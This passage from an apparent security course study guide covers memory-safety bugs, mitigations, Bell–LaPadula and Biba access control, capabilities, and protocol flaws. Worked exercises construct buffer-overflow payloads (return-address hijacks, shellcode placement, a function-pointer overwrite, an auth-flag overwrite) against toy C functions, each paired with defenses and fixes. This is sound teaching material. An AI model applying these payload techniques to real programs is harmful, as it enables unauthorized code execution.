  Verification: For every $A \in \{0, \ldots, 63\}$ and $D < 64$, the loop executes exactly 64 iterations and touches all 64 entries of `M` across all 4 array cache lines $\{1, 2, 3, 4\}$ (plus scalar line 5), making both the touched-line set $T = \{1, 2, 3, 4, 5\}$ and total execution time completely independent of A.

3. Memory-Safety Vulnerabilities, Stack/Heap Exploitation, and Mitigations

3.1 Process Address Space, Stack Frame Geometry, and Bug Taxonomy

A memory-safety violation occurs whenever a program reads (**spatial/temporal over-read**) or writes (**spatial/temporal overwrite**) outside the bounds or lifetime of the intended memory object, leading to four canonical consequences: **secret data disclosure**, **data corruption**, **unexpected transfer of control**, or **arbitrary code execution**.

Address Space & Stack Frame Offset Equations (Pointer Width $w \in \{4, 8\}$ bytes):

- **Directional Asymmetry:** The stack grows **downward** (toward lower memory addresses) as functions are called, whereas array indexing `buf[i]` ($i = 0, 1, \ldots$), `struct` fields, and heap chunks grow **upward** (toward higher memory addresses).
- **Canonical Stack Frame Layout (Low to High Addresses):**

$$\underbrace{\texttt{buf[0..B-1]}}_{\text{offset } 0 \text{ (size } B)} \rightarrow \underbrace{\text{Adjacent Locals}}_{\text{offset } B \text{ (size } L_{\text{loc}})} \rightarrow \underbrace{\text{Stack Canary}}_{\text{offset } B+L_{\text{loc}} \text{ (size } w)} \rightarrow \underbrace{\text{Saved Frame Ptr (SFP)}}_{\text{size } w \text{ (or 0 if omitted)}} \rightarrow \underbrace{\text{Saved Return Addr (RET)}}_{\text{offset } \Delta_{\text{ret}} \text{ (size } w)} \rightarrow \text{Args.}$$

- **Little-Endian Serialization (LE_w):** On x86/x86-64, a w-byte pointer $A = \texttt{0x}\, B_{w-1} \ldots B_1 B_0$ is stored in memory with its least-significant byte at the lowest address: $\text{LE}_w(A) = B_0\, B_1\, \ldots\, B_{w-1}$ (e.g., $\text{LE}_8(\texttt{0x00000000004011c8}) = \texttt{c8 11 40 00 00 00 00 00}$).

Bug Class / Construct	Unsafe Primitives / Pattern	Operational Mechanism & Exploitability
Stack/Heap Buffer Overflow	`gets(b)`, `strcpy(b,s)`, `strcat(b,s)`, `sprintf(b,...)`, `scanf("%s",b)`, `memcpy(b,s,n)` ($n > \|b\|$)	Writes past `b`[$\|b\|-1$] toward higher addresses, corrupting adjacent locals, struct fields, heap metadata, SFP, or RET. Note: `strcpy`/`strcat` stop at first `0x00`; `memcpy`/`read` copy raw `0x00` bytes intact.
Buffer Over-Read	`strcat(uninit_buf, s)`, `printf("%s", non_nul_buf)`, `memcpy(out, b, len)` (`len` > $\|b\|$)	Reads past object boundary. Calling `strcat` or `printf("%s")` on an uninitialized or non-NUL-terminated buffer scans upward through stack/heap memory until encountering a random `0x00` byte, leaking adjacent secrets (e.g., Heartbleed).
Off-by-One / Missing NUL	`for (i=0; i<=N; i++)`, `strncpy(b, s, sizeof(b))`	Writing N chars via `strncpy` into `b`[N] when $\|s\| \geq N$ leaves `b` *without a NUL terminator*; subsequent `strlen`/`strcpy`/`printf` over-reads or overflows using the concatenated adjacent memory.
Integer / Signedness Overflow	`if (len < MAX)` with signed `int len` < 0; `malloc(n * sizeof(T))`	Negative signed `len` passes upper-bound check `len < MAX` then converts to huge unsigned `size_t` in `memcpy`; or $n \cdot \text{sizeof}(T)$ wraps modulo $2^{32}/2^{64}$, allocating a tiny buffer followed by a large write.
Use-After-Free (Dangling Ptr)	Using pointer `p` after `free(p)` or returning &`local`	Allocator reuses freed chunk for a new attacker-controlled object; dereferencing dangling `p` interprets attacker bytes as the old type/function pointer.
Type Confusion / Double Free	Invalid downcast `(Cat*)dog_ptr`; `free(p); free(p);`	Reinterprets memory layout across incompatible types (treating data field as code pointer) or corrupts heap freelist metadata to achieve arbitrary write.

Mitigation Mechanism	What It Stops	What Bypasses It	Technical Reason for Bypass / Limitation
Stack Canary	Linear stack overflow to **RET**	Adjacent-local overwrite; Heap/struct overflow; Arbitrary pointer write	Canary sits immediately below SFP/RET and is checked *only at function return*. Overwriting a local flag, local pointer, or heap function pointer triggers before (or without) modifying the canary. Leaking the canary via an over-read also allows rewriting the exact canary value.
NX / W $\oplus$ X (DEP)	**Code injection** (shellcode in stack/heap/data)	**Code reuse** (`ret2func`, `ret2libc`, **ROP**); Data-only attacks	Pages are never simultaneously writable and executable, so CPU faults on jumping to stack/heap. Jumping to existing executable instructions (`printf`, `spawn_console`, ROP gadgets) requires no new executable pages.
Stack-Base ASLR Only	Jumps to **stack addresses** (e.g., stack shellcode)	Fixed-address code reuse (`ret2func`); Adjacent-local / relative-offset overwrites	Randomizing only the stack base makes addr(`buf`) unpredictable, but leaves code segment addresses (`0x4011c8`), heap addresses, and intra-frame relative distances ($\Delta_{\text{adj}}, \Delta_{\text{ret}}$) unchanged.
Full ASLR (+ PIE)	Jumps to any hardcoded absolute address	Info-leak / over-read + offset math; Adjacent-local data overwrites	Relative offsets within a segment remain constant; a single leaked pointer defeats ASLR for that module. Non-pointer data overwrites (e.g., `authenticated = 1`) need no addresses at all.
Guard Pages	Contiguous linear overflow crossing page boundary	Intra-frame / intra-chunk overflows; Indexed out-of-bounds writes	Unmapped guard pages sit only between large regions (or page-sized allocations), never between adjacent variables inside the same stack frame or struct.
CFI / Shadow Stack	Invalid indirect calls & corrupted RET addresses	Data-only attacks (corrupting flags, UIDs, amounts, keys)	CFI validates control-flow transfers against a static call graph and Shadow Stack mirrors RET in protected memory, but neither inspects non-control data.

3.2 Applied Solution Scheme: Procedural Vulnerability Audit & Exploit Construction

Applied Solution Scheme: 7-Step Memory-Safety Vulnerability Audit, Payload Synthesis, and Defense Evaluation

Step 1: Locate All Unsafe Memory Operations and Classify Delivery Semantics: Inspect every buffer read/write and pointer operation:

- *Unbounded String Copy (`gets`, `strcpy`, `strcat`, `sprintf`):* Stops at the first `0x00` byte in the source; overflows destination `buf` of capacity B whenever source string length $\geq B$.
- *Raw Binary Copy (`memcpy(dst, src, plen)`, `read`, `fread`):* Copies exactly `plen` bytes including embedded `0x00` bytes; overflows whenever `plen` > sizeof(`dst`) (or when a negative signed `plen` bypasses `plen` $\leq B$ and wraps to a large unsigned `size_t`).
- *Uninitialized / Unterminated String Scan (`strcat(buf, in)` without prior `buf[0]='\0'`):* Scans from `buf`[0] until the first `0x00` byte in memory; if none occurs within B bytes, it **over-reads** adjacent stack/heap data and begins appending `in` out-of-bounds.

Step 2: Draw the Byte-Exact Stack Frame and Heap/Struct Layout: State the architectural assumptions explicitly: pointer size $w \in \{4, 8\}$ bytes, endianness (little-endian), and stack ordering from **low to high addresses**.

- *Heap/Struct Layout:* Fields are laid out in declaration order from offset 0 upward: field k starts at $\sum_{j<k} \text{sizeof}(\text{field}_j)$.
- *Stack Frame Layout:* From low to high addresses: local arrays/variables → saved frame pointer (SFP, w bytes, or 0 bytes if omitted by simplified model) → saved return address (RET, w bytes).

Step 3: Compute Exact Byte Distance Δ from Buffer Start to Target Slot:

$$\Delta_{\text{adj}} = \text{addr(target field / local / func ptr)} - \text{addr(}\texttt{buf}[0]\text{)},$$

$$\Delta_{\text{ret}} = \text{sizeof(}\texttt{buf}\text{)} + \text{sizeof(intervening locals above } \texttt{buf}\text{)} + \text{sizeof(SFP)}.$$

Step 4: Synthesize Adjacent-Overwrite or Code-Reuse (`ret2func`) Payload:

- *Adjacent Data / Function-Pointer Overwrite:* Total length = $\Delta_{\text{adj}} + w$. Payload = $\texttt{'A'}^{\Delta_{\text{adj}}} \,\|\, \text{LE}_w(\text{target_value})$. Fires as soon as the corrupted variable or function pointer `s->fn()` is evaluated (before function return).
- *Saved Return Address Hijack (`ret2func`):* Total length = $\Delta_{\text{ret}} + w$. Payload = $\texttt{'A'}^{\Delta_{\text{ret}}} \,\|\, \text{LE}_w(\text{addr(target_code)})$. Fires when the current function executes `ret`, jumping to existing instructions (e.g., `printf(secret)` or

`spawn_console()`).

Step 5: Synthesize Shellcode Injection Payload and State Required Assumptions: State two mandatory assumptions: (1) stack/heap is **executable** (¬NX), and (2) absolute stack/buffer address is **known** (¬ASLR).

- *Placement Inside Buffer ($\Delta_{ret} \geq |shellcode|$):*

$$\text{Payload} = \underbrace{\text{Shellcode}}_{\text{length } k} \parallel \underbrace{\texttt{'A'}^{\Delta_{\text{ret}}-k}}_{\text{padding}} \parallel \underbrace{\text{LE}_w\big(\text{addr}(\texttt{buf})\big)}_{\text{overwrites RET}}.$$

- *Placement Above Saved Return Address (works for any buffer size B):*

$$\text{Payload} = \underbrace{\texttt{'A'}^{\Delta_{\text{ret}}}}_{\text{fills up to RET}} \parallel \underbrace{\text{LE}_w\big(\text{addr(RET)} + w\big)}_{\text{points immediately above RET}} \parallel \underbrace{\text{Shellcode}}_{\text{placed at addr(RET)}+w}.$$

Step 6: Evaluate Each Mitigation Against Each Attack Variant: Test every defense against the exact mechanism of each attack: (a) **Stack Canary** stops Δ_{ret} overwrites at `ret`, but fails against heap overflows and stack overwrites that corrupt a local flag or local/heap function pointer used before `ret`; (b) **NX / W ⊕ X** stops Step 5 (shellcode injection), but fails against Step 4 (`ret2func` / ROP / data-only); (c) **Stack-Base ASLR** stops Step 5 (since addr(`buf`) and addr(RET) + w are randomized), but fails against Step 4 when jumping to a non-randomized code address or overwriting a relative offset.

Step 7: Formulate the Root-Cause Code Remediation: Replace unbounded calls with bounds-enforced equivalents: validate `if (plen > sizeof(dst)) return;` before `memcpy` (using unsigned `size_t`), replace `strcpy(b, s)` with `snprintf(b, sizeof(b), "%s", s)` or `strncpy(b, s, sizeof(b)-1); b[sizeof(b)-1] = '\0';`, and initialize `b[0] = '\0';` before any `strcat`.

Verification, Boundary Conditions & Sanity Checks: Memory Layout, Endianness, and NUL-Byte Delivery

- **NUL-Byte Truncation Check:** When the overflow primitive is `strcpy`, `strcat`, or `gets`, any `0x00` byte inside the payload terminates the copy immediately. Thus a 64-bit address like `0x00000000004011c8` (LE_8 = `c8 11 40 00 00 00 00 00`) can only be written at the *very end* of a `strcpy` payload (where the first `0x00` acts as the string terminator if upper bytes are already zero) or must be delivered via `memcpy`/`read` which copies all 8 bytes including `0x00` without stopping.
- **SFP Inclusion Convention:** Always state explicitly whether your stack diagram includes a w-byte Saved Frame Pointer ($\Delta_{\text{ret}} = B + w$, e.g., $24 + 8 = 32$ bytes) or uses a simplified frame where RET sits directly above `buf`$[B]$ ($\Delta_{\text{ret}} = B$, e.g., 50 bytes). Both are valid if the assumption and byte count match.
- **Execution Trigger Point:** Verify *when* the corrupted datum is consumed: a corrupted heap/local function pointer `s->on_done()` transfers control at the indirect call site (before `ret`, bypassing stack canaries), whereas a corrupted RET transfers control only when the function executes `ret`.

3.3 Worked Applied Problem Templates

Applied Problem Template: 3A — Stack Overflow: Shellcode Injection vs. Code-Reuse Leak, Stack ASLR & Canary

Problem Specification: Consider the following C function running on a 64-bit little-endian architecture ($w = 8$ bytes):

```
void check_password(char *input) {
    char buffer[50];
    char *secret = "Pwd123456";
    if (strcmp(input, secret) == 0) {
       printf("Password matches:  %s\n", secret);
    } else {
       printf("Wrong password!\n");
    }
    strcpy(buffer, input);
}
```

Tasks: (a) Identify the memory-safety vulnerability and explain why it occurs regardless of the password check. (b) Construct an input payload that injects and executes arbitrary machine code, stating all assumptions about binary protections and memory layout. (c) Construct an input payload that leaks `secret` without injecting any new code and without knowing `"Pwd123456"`. (d) Determine whether randomizing only the base address of the stack (Stack-Base ASLR) prevents attack (b). (e) Determine whether Stack-Base ASLR prevents attack (c). (f) Propose and justify a runtime mitigation that stops whichever attack survives Stack-Base ASLR.

Procedural Solution Execution:

- **Step 1 (Unsafe Operation Audit — Task a):** The call `strcpy(buffer, input)` copies bytes from `input` into `buffer[50]` until encountering a NUL byte (`'\0'`) without checking destination capacity. Any `input` string of length ≥ 50 chars overflows `buffer`. Because `strcpy` executes *after* the `if/else` block, the stack frame is corrupted even when the `else` branch prints `"Wrong password!"`.
- **Steps 2–3 (Memory Layout & Offset Δ_{ret}):** Assume a 64-bit stack frame ($w = 8$ bytes) where variables are ordered from low to high addresses as: `secret` (8 bytes) → `buffer[50]` (50 bytes) → Saved Return Pointer (RET, 8 bytes) (omitting SFP, or $\Delta_{\text{ret}} = 50 + 8 = 58$ if SFP is included; we use $\Delta_{\text{ret}} = 50$ below). Writing past `buffer`[49] directly overwrites RET at offset $\Delta_{\text{ret}} = 50$ from `buffer`[0].
- **Step 5 (Shellcode Injection Payload — Task b):**
  - *Assumptions:* (1) The stack is executable (¬NX), (2) the exact stack address of RET (or `buffer`) is known (¬ASLR), and (3) injected machine code and address bytes contain no embedded `0x00` bytes.

- *Payload Construction (placing shellcode immediately above* RET*):*

$$\text{Input (b)} = \underbrace{\texttt{'A'}^{50}}_{\text{fills buffer[50]}} \parallel \underbrace{\text{LE}_8\big(\text{addr(RET)} + 8\big)}_{\text{overwrites RET (8 bytes)}} \parallel \underbrace{\text{Binary Shellcode}}_{\text{written starting at addr(RET)+8}} .$$

  When `check_password` returns, the CPU pops addr(RET) + 8 into the instruction pointer and jumps directly into the injected shellcode on the stack. (Alternatively, place NUL-free shellcode inside `buffer[0..k-1]`, pad with $50 - k$ filler bytes, and overwrite RET with LE_8(addr(`buffer`)).)

- **Step 4 (Code-Reuse Secret Leak Without Code Injection — Task c):** Let $\text{addr}_{\text{print}}$ be the code address of the basic block inside the `if`-branch that executes `printf("Password matches: %s\n", secret);`. Construct:

$$\text{Input (c)} = \underbrace{\texttt{'A'}^{50}}_{\text{fills buffer[50]}} \parallel \underbrace{\text{LE}_8(\text{addr}_{\text{print}})}_{\text{overwrites RET with code address}} .$$

  When `check_password` returns, execution jumps straight to the existing `printf(..., secret)` instruction sequence in the code segment, printing `Pwd123456`. No code is injected, so NX/W $\oplus$ X does not stop this attack.

- **Step 6 (Defense Evaluation — Tasks d, e, f):**
  - *Task (d) — Stack-Base ASLR vs. Attack (b):* **Stopped.** Randomizing the stack base makes addr(`buffer`) and addr(RET)+8 unknown to the attacker, so the target address to write into RET is unknown.
  - *Task (e) — Stack-Base ASLR vs. Attack (c):* **Not stopped.** Attack (c) requires only the relative intra-stack offset $\Delta_{\text{ret}} = 50$ (invariant under stack base shifts) and the code-segment address $\text{addr}_{\text{print}}$ (unaffected by stack-only ASLR).
  - *Task (f) — Countermeasure for Survivor (c):* Place a **Stack Canary** (random per-process secret word) between `buffer` and RET. Any contiguous overflow from `buffer` that reaches RET must overwrite the canary; before executing `ret`, the function epilogue compares the stack canary against its master copy and aborts the process upon mismatch.

Applied Problem Template: 3B — Heap Struct Function-Pointer Overwrite vs. Stack Return Hijack via `memcpy`

Problem Specification: On a 64-bit little-endian machine ($w = 8$ bytes), privileged function `spawn_console()` resides at fixed code address `0x00000000004011c8`. Consider the following C code:

```
typedef struct { char user[16]; void (*on_done)(void); } session_t;
void dispatch(session_t *s, const char *packet, size_t plen) {
    char cmd[24];
    if (plen <= 24) { memcpy(s->user, packet, plen);    /* Line A */
                      s->on_done();                     /* Line B */ }
    else            { memcpy(cmd, packet, plen);        /* Line C */ }
}
```

Tasks: (a) Identify both memory-safety vulnerabilities and explain how `memcpy` differs from `strcpy` regarding NUL bytes. (b) Construct a payload (`plen` and exact hex bytes of `packet`) that hijacks control flow via Line A/B to call `spawn_console()`. (c) Assuming a stack frame with an 8-byte SFP between `cmd[24]` and RET, construct a payload that hijacks control flow via Line C. (d) Evaluate Stack Canaries, NX, and Stack-Base ASLR against attacks (b) and (c), and provide the code fix.

Procedural Solution Execution:

- **Step 1 (Vulnerability & Delivery Semantics — Task a):** Line A copies up to `plen` ≤ 24 bytes into `s->user[16]`, overflowing the 16-byte buffer by up to 8 bytes into the adjacent struct field `s->on_done`. Line C executes when `plen` > 24 and copies `plen` bytes into `cmd[24]` with no upper bound check, overflowing the stack frame. Unlike `strcpy`, `memcpy` does not stop at `0x00`, so the five upper zero bytes of the 64-bit address `0x00000000004011c8` are copied intact.
- **Steps 2–3 (Memory Layouts & Offsets):**
  - *Heap Struct `session_t`:* `user[0..15]` at offset 0 (16 bytes); function pointer `on_done` at offset $\Delta_{\text{adj}} = 16$ (8 bytes).
  - *Stack Frame of `dispatch`:* `cmd[0..23]` (24 bytes) $\rightarrow$ SFP (8 bytes) $\rightarrow$ RET (8 bytes at offset $\Delta_{\text{ret}} = 24 + 8 = 32$).
- **Step 4a (Heap Function-Pointer Hijack — Task b):** Set `plen` $= 16 + 8 = 24$ (which satisfies `plen` ≤ 24 and enters Line A):

$$\texttt{packet} = \underbrace{41 \times 16}_{\text{16 filler bytes ('A')}} \parallel \underbrace{\texttt{c8 11 40 00 00 00 00 00}}_{\text{LE}_8\text{(0x4011c8) overwrites s->on_done}} .$$

  At Line B, the indirect call `s->on_done()` immediately invokes `spawn_console()`.
- **Step 4b (Stack Return-Address Hijack — Task c):** Set `plen` $= 32 + 8 = 40$ (which satisfies `plen` > 24 and enters Line C):

$$\texttt{packet} = \underbrace{41 \times 24}_{\text{fills cmd[24]}} \parallel \underbrace{41 \times 8}_{\text{overwrites SFP}} \parallel \underbrace{\texttt{c8 11 40 00 00 00 00 00}}_{\text{LE}_8\text{(0x4011c8) overwrites RET}} .$$

  When `dispatch` returns, the CPU pops RET and jumps to `spawn_console()`.
- **Steps 6–7 (Defense Verdicts & Code Remediation — Task d):**
  - *Stack Canary:* **Stops (c)** (detects overwritten canary between `cmd` and SFP before `ret`), but **fails against (b)** (`s` is on the heap/struct and Line B transfers control via `s->on_done()` without touching any stack canary or returning).
  - *NX / W$\oplus$X & Stack-Base ASLR:* **Fail against both (b) and (c)**, because both attacks reuse existing executable code at fixed text address `0x4011c8` and rely only on fixed intra-struct (16) or intra-frame (32) offsets.
  - *Root-Cause Fix:* Enforce exact destination bounds on each branch: replace condition at Line A with `if (plen <= sizeof(s->user))` (16 bytes) and guard Line C with `else if (plen <= sizeof(cmd))` (24 bytes), rejecting any `plen` > 24.

Applied Problem Template: 3C — Uninitialized `strcat` Buffer Over-Read & Adjacent Local Flag Overwrite

Problem Specification: Consider the following C authentication routine on a 64-bit platform where stack locals are ordered from low to high addresses as `msg[32]` $\rightarrow$ `auth_ok (4B)` $\rightarrow$ `canary (8B)` $\rightarrow$ `SFP (8B)` $\rightarrow$ `RET (8B)`:

```
int login_handler(const char *user_in) {
    char msg[32];
    int auth_ok = 0;
    if (check_credentials(user_in)) auth_ok = 1;
    strcat(msg, user_in);      /* Line X */
    printf("Log:  %s\n", msg);    /* Line Y */
    return auth_ok;
}
```

Tasks: (a) Explain how Line X and Line Y cause a **buffer over-read** (information disclosure) even when `user_in` is short (e.g., 4 bytes). (b) Construct an input `user_in` (assuming `msg[0] == '\0'` initially) that forces `login_handler` to return a non-zero (authenticated) value *without* knowing valid credentials and *even when a Stack Canary, NX, and Full ASLR are all enabled.* (c) Provide the exact code fix.

Procedural Solution Execution:

- **Step 1 (Uninitialized `strcat` Over-Read — Task a):** Local array `char msg[32]` is never initialized, so it contains arbitrary residual bytes left on the stack by earlier function frames. At Line X, `strcat(msg, user_in)` scans forward from `msg`[0] looking for the first NUL byte (`0x00`) before appending `user_in`. If no `0x00` byte exists in `msg[0..31]`, `strcat` scans out-of-bounds into adjacent stack memory, appends `user_in` past the end of `msg`, and Line Y (`printf("Log:  %s\n", msg)`) prints all non-zero stack bytes from `msg`[0] up to the terminating NUL — leaking stale secrets, pointers (defeating ASLR), or canary bytes (**buffer over-read**).
- **Steps 2–4 (Adjacent-Local Non-Control-Data Overwrite — Task b):** From low to high addresses, `auth_ok` sits immediately above `msg[0..31]` at byte offset $\Delta_{\text{adj}} = 32$, *below* the stack canary at offset 36. Supply a 33-character string:

$$\texttt{user_in} = \underbrace{\texttt{'A'}^{32}}_{\text{fills msg[0..31]}} \;\|\; \underbrace{\texttt{'B'}}_{\text{writes 0x42 into lowest byte of auth_ok}} \quad \text{(plus trailing 0x00).}$$

  Why All Three Mitigations Are Bypassed: (1) **Stack Canary** sits above `auth_ok` (at offset 36) and is never touched by a 34-byte write (offsets 0..33); (2) **NX** is irrelevant because no code is injected; (3) **Full ASLR** is irrelevant because the attack writes a non-zero integer (`0x00000042 != 0`), not a memory address, at a fixed relative offset $\Delta_{\text{adj}} = 32$. The function returns `auth_ok` $\neq 0$, bypassing authentication.
- **Step 7 (Root-Cause Remediation — Task c):** Initialize `msg[0] = '\0';` at declaration and replace `strcat` with bounds-checked formatting: `snprintf(msg, sizeof(msg), "%s", user_in);`.

4. Access Control Models, Bell–LaPadula Lattice, Biba, and Capabilities

4.1 Multilevel Security (MLS), Security Labels, and Lattice Dominance

In a **Multilevel Security (MLS)** architecture, every active **subject** S (user or process acting on a principal's behalf) carries a **clearance label** $L_S = (SL_S, C_S)$, and every passive **object** O (file, database record, resource) carries a **classification label** $L_O = (SL_O, C_O)$:

- **Sensitivity Level (SL):** Drawn from a partially or linearly ordered hierarchy $(H, \leq)$, canonically:

$$\text{Unclassified } (U) < \text{Restricted } (R) < \text{Confidential } (C) < \text{Secret } (S) < \text{Top Secret } (TS).$$

  (Note: A specification may also define non-linear sensitivity hierarchies, e.g., $P < C < TS$ and $P < S < TS$ with C and S incomparable.)
- **Compartment Set ($C \subseteq \mathcal{C}$):** Subset of need-to-know topic domains (e.g., $\mathcal{C} = \{\text{Nuclear}, \text{Crypto}, \text{Industry}\}$).
- **Dominance Relation ($\sqsubseteq$):** Label $L_1 = (SL_1, C_1)$ is dominated by $L_2 = (SL_2, C_2)$ iff **both** conditions hold simultaneously:

$$L_1 \sqsubseteq L_2 \iff \big(SL_1 \leq SL_2\big) \wedge \big(C_1 \subseteq C_2\big).$$

- **Partial Order & Lattice Structure:** The relation $\sqsubseteq$ is reflexive, antisymmetric, and transitive (a partial order). Two labels L_1, L_2 are **incomparable** ($L_1 \not\sqsubseteq L_2 \wedge L_2 \not\sqsubseteq L_1$) whenever SL_1, SL_2 are unordered or $C_1 \not\subseteq C_2$ while $C_2 \not\subseteq C_1$ (or when level order opposes subset order, e.g., $(TS, \{A\})$ vs. $(C, \{A, B\})$). Over a linear level hierarchy, the set of all labels forms a bounded **lattice** with join (least upper bound), meet (greatest lower bound), top, and bottom:

$$L_1 \sqcup L_2 = \big(\max(SL_1, SL_2),\ C_1 \cup C_2\big), \quad L_1 \sqcap L_2 = \big(\min(SL_1, SL_2),\ C_1 \cap C_2\big), \quad \bot = (SL_{\min}, \emptyset), \quad \top = (SL_{\max}, \mathcal{C}).$$

4.2 Bell–LaPadula (BLP) Confidentiality Model and Access Mode Matrix

Bell–LaPadula (BLP) is a **Mandatory Access Control (MAC)** state-transition model enforcing unidirectional information flow from low labels to high labels (Low → High), preventing unauthorized disclosure and Trojan-horse data laundering.

BLP Rule / Property	Access Mode	Formal Dominance Condition	Operational Semantics & Edge Cases
Simple Security Property (*ss-property*: **No Read Up**)	**Read** (S reads O)	$L_O \sqsubseteq L_S \iff SL_O \leq SL_S \wedge C_O \subseteq C_S$	Subject's clearance must dominate object's classification. Prevents reading higher-sensitivity or unauthorized-compartment data.
Star Property (*$*$-property*: **No Write Down**)	**Write / Append** (S writes O)	$L_S \sqsubseteq L_O \iff SL_S \leq SL_O \wedge C_S \subseteq C_O$	Object's classification must dominate subject's label. Permits **blind write-up** ($L_S \sqsubset L_O$); forbids leaking high secrets into lower/lateral objects.
Combined Read+Write (*Write-Implies-Read*)	**Read-Write** (S modifies O)	$L_O \sqsubseteq L_S \wedge L_S \sqsubseteq L_O \iff L_S = L_O$	When "write" includes reading existing contents, both properties must hold simultaneously, restricting read-write to **identical labels** $L_S = L_O$.
Discretionary Security (*ds-property*)	Any mode $m \in \{r, w, a\}$	$m \in M[S, O]$ (access matrix entry)	Optional discretionary overlay requiring explicit authorization in matrix M in addition to *ss*- and *$*$*-properties.

Decision Rules, Clearance Distinctions, and Biba Dual Model:

- **Complete 4-Outcome Decision Table for Pure Read & Pure Write:**

$L_S = L_O \implies$ **Read & Write** $\qquad$ $L_O \sqsubset L_S \implies$ **Read-only** (*ss* holds, $*$ fails)

$L_S \sqsubset L_O \implies$ **Write-only** ($*$ holds, *ss* fails) $\qquad$ $L_S \parallel L_O \implies$ **Neither Read nor Write**.

- **Append Mode (Pure Write-Only):** Governed **exclusively by the $*$-property** ($L_S \sqsubseteq L_O$). A subject with $L_S = (R, \{N\})$ may append to $L_O = (TS, \{N, E, K\})$ because $R \leq TS$ and $\{N\} \subseteq \{N, E, K\}$, even though reading O is denied.
- **Maximum Clearance $f_s(S)$ vs. Current Security Level $f_c(S)$:** To allow high-clearance users to edit low-classified files without violating No-Write-Down, a subject holds a maximum clearance $f_s(S)$ and logs into a session at a lowered current level $f_c(S) \sqsubseteq f_s(S)$ (**attenuated login**):

$$\textbf{Read check: } f_o(O) \sqsubseteq f_s(S) \ \ (\text{or } f_o(O) \sqsubseteq f_c(S)), \qquad \textbf{Write check: } f_c(S) \sqsubseteq f_o(O).$$

  Declassification (High → Low) violates the $*$-property and requires a verified **trusted subject** exempt from the $*$-property.
- **Biba Integrity Model (Mathematical Dual of BLP):** Assigns integrity labels $I = (IL, C)$ ordered from Untrusted (U) < Trusted (T). Enforces information flow strictly from high integrity to low integrity (High Integrity → Low Integrity):

$$\textbf{No Read Down: } S \text{ reads } O \iff I_S \sqsubseteq I_O, \qquad \textbf{No Write Up ($*$-prop): } S \text{ writes } O \iff I_O \sqsubseteq I_S.$$

4.3 Access Control Matrix, ACLs, Capabilities, and the Confused Deputy

An access control policy is modeled by a protection state Auth $\subseteq \mathcal{P} \times \mathcal{O} \times \mathcal{M}$ (an **Access Control Matrix** $M[P, O] \subseteq \mathcal{M}$ over principals $\mathcal{P}$, objects $\mathcal{O}$, and operations $\mathcal{M}$), enforced by a **Reference Monitor** that mediates every request $\langle P, O, op \rangle$ (**Complete Mediation**).

- **Discretionary (DAC) vs. Mandatory Access Control (MAC):** In **DAC**, the object owner defines and modifies permissions (e.g., UNIX `chmod`); vulnerable to Trojan horses running with the owner's ambient authority. In **MAC** (e.g., BLP, Biba, SELinux), a central system policy assigns labels and forbids principals from passing access rights at their own discretion.
- **Protection Domains & Privilege Transitions:** Threads execute inside a protection domain carrying a privilege set. Domain transitions occur via controlled gates (system calls, `setuid` binaries): **amplification** temporarily adds privileges for a subsystem operation; **attenuation** drops privileges to enforce **Least Privilege**.
- **Confused Deputy Vulnerability:** Occurs under ACL-based ambient authority when a privileged server (*deputy*) accepts a resource name (e.g., output filename `"charges.txt"`) from an unprivileged client and accesses that resource using the *deputy's own ambient privileges* rather than the client's privileges.
- **Remediation of Confused Deputy:** Either (1) replace ambient ACL checks with **Capabilities** (client must pass a capability it legitimately holds for the target file, combining designation and authorization into one unforgeable token), or (2) explicitly drop/attenuate privileges or check the client's identity against the target object's ACL before opening.

Dimension	Access Control Lists (ACLs — Matrix Column per Object)	Capabilities (Matrix Row per Principal)
Representation	Each object O stores a list of pairs $\langle P, \text{privs} \rangle$.	Each principal P holds unforgeable tokens $\langle O, \text{privs} \rangle$.
Authority Binding	**Ambient authority:** naming an object is separate from authority; OS checks caller's identity P against O's ACL.	**Bundled authority:** capability both names O and authorizes access (possession = permission).
Review & Audit	**Fast per-object review** (who can access O?); slow per-principal review (scan all objects).	**Fast per-principal review** (what can P access?); hard per-object review (capabilities scattered).
Delegation & Revocation	Easy immediate revocation on object O; coarse delegation.	Easy fine-grained delegation (pass capability token); hard revocation (requires indirection/revocation tables).
Confused Deputy	**Vulnerable** (deputy uses its own identity on client-supplied path).	**Immune** (deputy uses the exact capability token passed by client).

5. Security Protocols, Key Establishment, Certificates, and TLS

5.1 Protocol Threat Models, Cryptographic Primitives, and Abadi–Needham Principles

Security protocols compose cryptographic primitives over an untrusted network to achieve **confidentiality**, **authentication**, **integrity**, **freshness**, **explicitness (context binding)**, **non-repudiation**, and **forward secrecy**.

- **Dolev–Yao (Active Network) Adversary:** Controls the communication medium completely (can eavesdrop, intercept, drop, delay, replay, reorder, redirect, modify cleartext fields, and synthesize messages from known values and public keys), but **cannot break cryptographic primitives** (cannot invert H, decrypt without the decryption key, or forge signatures/MACs without the signing/MAC key).
- **Malicious Principal (Insider Adversary):** A legitimate protocol participant (A or B) who holds valid long-term keys and deviates from the protocol (e.g., obtaining a server signature on a benign file F_1 and attaching that signature to a malicious file F_2).
- **Signature & MAC Scope Invariant:** For $\text{Sign}(sk_A, m) = \big(m,\ \text{Enc}_{sk_A}(H(m))\big)$ verified via $\text{Dec}_{pk_A}(\sigma) \stackrel{?}{=} H(m)$, integrity and origin authenticity cover **strictly the bitstring m inside $H(\cdot)$**. Any field transmitted outside m (e.g., $\text{Sign}(sk_A, m) \,\|\, \text{Time}$ or $\text{Sign}(sk_A, \text{OK}) \,\|\, \text{File}$) can be freely replaced by an attacker without invalidating verification.
- **Abadi–Needham Explicitness Principle:** Every signed or MACed message must explicitly state Inside the cryptographic boundary: (1) sender identity A, (2) intended recipient identity B, (3) protocol identifier and version, (4) message step number, (5) all security-relevant parameters (amount, H(File), key/counter), and (6) a freshness binding (nonce, timestamp, or monotonic counter).

5.2 Protocol Vulnerability Taxonomy, Attack Traces, and Structural Repairs

Flaw Class	Structural Cause	Concrete Attack Execution	Minimal Cryptographic Repair
Replay Attack	No freshness token inside signed/MACed payload	Attacker records valid message M from run 1 and resends M later to repeat state change (e.g., double payment).	Add challenge nonce N_B (generated by verifier B, checked against a seen-nonce log) or synchronized timestamp T **inside** the signed/MACed tuple.
Unsigned Freshness Trap	Nonce/timestamp sent *outside* $\mathrm{Sign}(sk, m)$, e.g., $\mathrm{Sign}(sk, m) \,\|\, T_1$	Attacker captures old $\mathrm{Sign}(sk, m)$, strips T_1, and appends fresh timestamp T_{now}; signature check still passes on m.	Move T or N inside the signed/hashed payload: $\mathrm{Sign}(sk, (m, T))$.
